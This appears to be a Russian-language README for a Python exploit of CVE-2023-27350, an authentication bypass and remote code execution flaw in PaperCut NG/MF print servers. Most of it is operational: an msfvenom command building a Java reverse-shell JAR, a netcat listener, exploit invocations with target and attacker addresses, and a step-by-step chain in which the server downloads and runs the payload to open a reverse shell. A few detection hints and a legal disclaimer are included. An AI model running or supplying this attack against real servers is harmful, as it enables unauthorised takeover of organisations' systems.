
Этот эксплойт основан на CVE-2023-27350 и был создан на основе оригинального эксплойта от horizon3ai и модуля Metasploit.
Автономный эксплойт на Python для критической уязвимости обхода аутентификации и удалённого выполнения кода в PaperCut NG/MF. CVSS 9.8.
CVE-2023-27350 затрагивает PaperCut NG и MF в версиях до 20.1.7, 21.2.11 и 22.0.9. Уязвимость позволяет неаутентифицированному злоумышленнику обратиться к конечной точке /app?service=page/SetupCompleted — странице настройки, предназначенной для доступа только во время первоначальной установки, — и получить действительную административную сессию без каких-либо учётных данных.
Имея административный доступ, злоумышленник может включить механизм печатных сценариев PaperCut и внедрить произвольный код, выполняемый JVM сервера, что приводит к полному RCE в контексте сервисного пользователя.
| Ветка | Исправленная версия |
|---|---|
| 20.x | 20.1.7 |
| 21.x | 21.2.11 |
| 22.x | 22.0.9 |
Версии 18.x и более ранние не получили официального исправления.
Данный эксплойт разработан на основе анализа двух публичных реализаций:
Runtime.exec() с обычной строкой для выполнения командRuntime.exec(String) не обрабатывает метасимволы оболочки (>&, |, 0>&1), что делает полезные нагрузки reverse shell неэффективными. Скрипт также жёстко задаёт идентификатор принтера (l1001) и проверяет только англоязычные строки успеха, из-за чего не срабатывает на экземплярах с другим языкомexploit/multi/http/papercut_ng_rceURLClassLoader, исключая зависимость от оболочкиncPython 3.x
requests
msfvenom (part of Metasploit Framework)
nc (netcat)
pip install requests
1. Сгенерируйте JAR-полезную нагрузку
msfvenom -p java/shell_reverse_tcp \
LHOST=<YOUR_IP> LPORT=<SHELL_PORT> \
-f jar -o payload.jar
2. Запустите прослушиватель
nc -lvnp <SHELL_PORT>
3. Запустите эксплойт
python exploit.py \
-u http://<TARGET>:9191 \
-j payload.jar \
-lh <YOUR_IP> \
-lp <HTTP_PORT> \
-rp <SHELL_PORT>
Пример:
python exploit.py \
-u http://192.168.1.100:9191 \
-j payload.jar \
-lh 192.168.1.10 \
-lp 9090 \
-rp 4444
1. Auth bypass via /app?service=page/SetupCompleted
↓
2. Obtain admin JSESSIONID without credentials
↓
3. Select [Template Printer] (l1001)
↓
4. Inject RhinoJS script into the print script field
↓
5. Script creates a URLClassLoader pointing to our HTTP server
↓
6. PaperCut JVM downloads and executes payload.jar
↓
7. Reverse shell
/app?service=page/SetupCompleted без предварительной сессииprint-and-device.script.enabled и print.script.sandboxed (версии >= 19)URLClassLoader с внешним URL в логах JVMДанный эксплойт предоставляется только в образовательных целях и для авторизованного использования (тестирование на проникновение, CTF, лабораторные среды). Несанкционированное использование против систем без явного разрешения незаконно. Автор не несёт ответственности за любое неправомерное использование.
| Параметр | Описание | По умолчанию |
|---|
-u / --url | Базовый URL PaperCut | обязательно |
-j / --jar | Путь к payload.jar | обязательно |
-lh / --lhost | Ваш IP-адрес (цель подключится к нему обратно) | обязательно |
-lp / --lport | HTTP-порт для раздачи JAR | 9090 |
-rp / --rport | Порт reverse shell | 4444 |